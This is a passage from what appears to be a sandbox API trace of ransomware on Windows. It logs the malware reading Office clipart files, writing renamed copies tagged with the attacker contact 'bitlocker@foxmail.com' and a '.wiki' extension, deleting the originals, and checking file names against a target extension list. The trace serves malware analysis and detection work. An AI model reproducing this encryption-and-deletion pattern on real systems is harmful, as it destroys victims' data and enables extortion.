office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.837] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.837] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.837] GetLastError () returned 0x0 [0194.837] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4ef4, lpOverlapped=0x0) returned 1 [0194.885] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4f00, lpOverlapped=0x0) returned 1 [0194.887] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.887] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.887] SetEndOfFile (hFile=0x1f4) returned 1 [0194.887] CloseHandle (hObject=0x1f4) returned 1 [0194.887] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.887] SetEndOfFile (hFile=0x220) returned 1 [0194.888] CloseHandle (hObject=0x220) returned 1 [0194.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0194.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.889] lstrlenW (lpString=".doc") returned 4 [0194.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString=".docx") returned 5 [0194.889] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.889] lstrlenW (lpString=".pdf") returned 4 [0194.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString=".xls") returned 4 [0194.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.889] lstrlenW (lpString=".xlsx") returned 5 [0194.889] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.889] lstrlenW (lpString=".ppt") returned 4 [0194.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.889] lstrlenW (lpString=".zip") returned 4 [0194.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.889] lstrlenW (lpString=".rar") returned 4 [0194.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString=".bz2") returned 4 [0194.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString=".7z") returned 3 [0194.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.889] lstrlenW (lpString=".dbf") returned 4 [0194.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.889] lstrlenW (lpString=".1cd") returned 4 [0194.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.889] lstrlenW (lpString=".jpg") returned 4 [0194.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.890] lstrlenW (lpString=".doc") returned 4 [0194.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString=".docx") returned 5 [0194.890] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.890] lstrlenW (lpString=".pdf") returned 4 [0194.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString=".xls") returned 4 [0194.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.890] lstrlenW (lpString=".xlsx") returned 5 [0194.890] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.890] lstrlenW (lpString=".ppt") returned 4 [0194.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.890] lstrlenW (lpString=".zip") returned 4 [0194.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.890] lstrlenW (lpString=".rar") returned 4 [0194.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString=".bz2") returned 4 [0194.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString=".7z") returned 3 [0194.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.890] lstrlenW (lpString=".dbf") returned 4 [0194.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.890] lstrlenW (lpString=".1cd") returned 4 [0194.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0194.890] lstrlenW (lpString=".jpg") returned 4 [0194.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.891] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.891] lstrlenW (lpString="J0107264.WMF") returned 12 [0194.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.891] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5272) returned 1 [0194.891] CloseHandle (hObject=0x220) returned 1 [0194.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0194.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.892] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.892] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.892] GetLastError () returned 0x0 [0194.892] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1498, lpOverlapped=0x0) returned 1 [0194.942] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0194.942] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.943] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.943] SetEndOfFile (hFile=0x1f4) returned 1 [0194.943] CloseHandle (hObject=0x1f4) returned 1 [0194.943] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.943] SetEndOfFile (hFile=0x220) returned 1 [0194.944] CloseHandle (hObject=0x220) returned 1 [0194.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0194.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.944] lstrlenW (lpString=".doc") returned 4 [0194.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.944] lstrlenW (lpString=".docx") returned 5 [0194.944] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.944] lstrlenW (lpString=".pdf") returned 4 [0194.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.944] lstrlenW (lpString=".xls") returned 4 [0194.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.944] lstrlenW (lpString=".xlsx") returned 5 [0194.945] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.945] lstrlenW (lpString=".ppt") returned 4 [0194.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.945] lstrlenW (lpString=".zip") returned 4 [0194.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.945] lstrlenW (lpString=".rar") returned 4 [0194.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString=".bz2") returned 4 [0194.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString=".7z") returned 3 [0194.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.945] lstrlenW (lpString=".dbf") returned 4 [0194.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.945] lstrlenW (lpString=".1cd") returned 4 [0194.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.945] lstrlenW (lpString=".jpg") returned 4 [0194.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.945] lstrlenW (lpString=".doc") returned 4 [0194.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString=".docx") returned 5 [0194.945] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.945] lstrlenW (lpString=".pdf") returned 4 [0194.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.945] lstrlenW (lpString=".xls") returned 4 [0194.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.945] lstrlenW (lpString=".xlsx") returned 5 [0194.946] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.946] lstrlenW (lpString=".ppt") returned 4 [0194.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.946] lstrlenW (lpString=".zip") returned 4 [0194.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.946] lstrlenW (lpString=".rar") returned 4 [0194.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.946] lstrlenW (lpString=".bz2") returned 4 [0194.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.946] lstrlenW (lpString=".7z") returned 3 [0194.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.946] lstrlenW (lpString=".dbf") returned 4 [0194.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.946] lstrlenW (lpString=".1cd") returned 4 [0194.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0194.946] lstrlenW (lpString=".jpg") returned 4 [0194.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.946] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.946] lstrlenW (lpString="J0107282.WMF") returned 12 [0194.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.947] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14132) returned 1 [0194.947] CloseHandle (hObject=0x220) returned 1 [0194.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0194.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.947] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.947] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.948] GetLastError () returned 0x0 [0194.948] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3734, lpOverlapped=0x0) returned 1 [0194.970] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3740, lpOverlapped=0x0) returned 1 [0194.971] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.971] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.971] SetEndOfFile (hFile=0x1f4) returned 1 [0194.971] CloseHandle (hObject=0x1f4) returned 1 [0194.971] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.971] SetEndOfFile (hFile=0x220) returned 1 [0195.226] CloseHandle (hObject=0x220) returned 1 [0195.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0195.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.229] lstrlenW (lpString=".doc") returned 4 [0195.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.229] lstrlenW (lpString=".docx") returned 5 [0195.229] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.229] lstrlenW (lpString=".pdf") returned 4 [0195.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.229] lstrlenW (lpString=".xls") returned 4 [0195.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.229] lstrlenW (lpString=".xlsx") returned 5 [0195.229] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.229] lstrlenW (lpString=".ppt") returned 4 [0195.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.230] lstrlenW (lpString=".zip") returned 4 [0195.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.230] lstrlenW (lpString=".rar") returned 4 [0195.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString=".bz2") returned 4 [0195.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString=".7z") returned 3 [0195.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.230] lstrlenW (lpString=".dbf") returned 4 [0195.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.230] lstrlenW (lpString=".1cd") returned 4 [0195.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.230] lstrlenW (lpString=".jpg") returned 4 [0195.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.230] lstrlenW (lpString=".doc") returned 4 [0195.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString=".docx") returned 5 [0195.230] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.230] lstrlenW (lpString=".pdf") returned 4 [0195.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.230] lstrlenW (lpString=".xls") returned 4 [0195.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.230] lstrlenW (lpString=".xlsx") returned 5 [0195.230] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.230] lstrlenW (lpString=".ppt") returned 4 [0195.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.231] lstrlenW (lpString=".zip") returned 4 [0195.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.231] lstrlenW (lpString=".rar") returned 4 [0195.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.231] lstrlenW (lpString=".bz2") returned 4 [0195.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.231] lstrlenW (lpString=".7z") returned 3 [0195.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.231] lstrlenW (lpString=".dbf") returned 4 [0195.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.231] lstrlenW (lpString=".1cd") returned 4 [0195.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0195.231] lstrlenW (lpString=".jpg") returned 4 [0195.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.231] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.231] lstrlenW (lpString="J0107446.WMF") returned 12 [0195.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.232] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=30336) returned 1 [0195.232] CloseHandle (hObject=0x220) returned 1 [0195.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0195.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.232] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.232] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 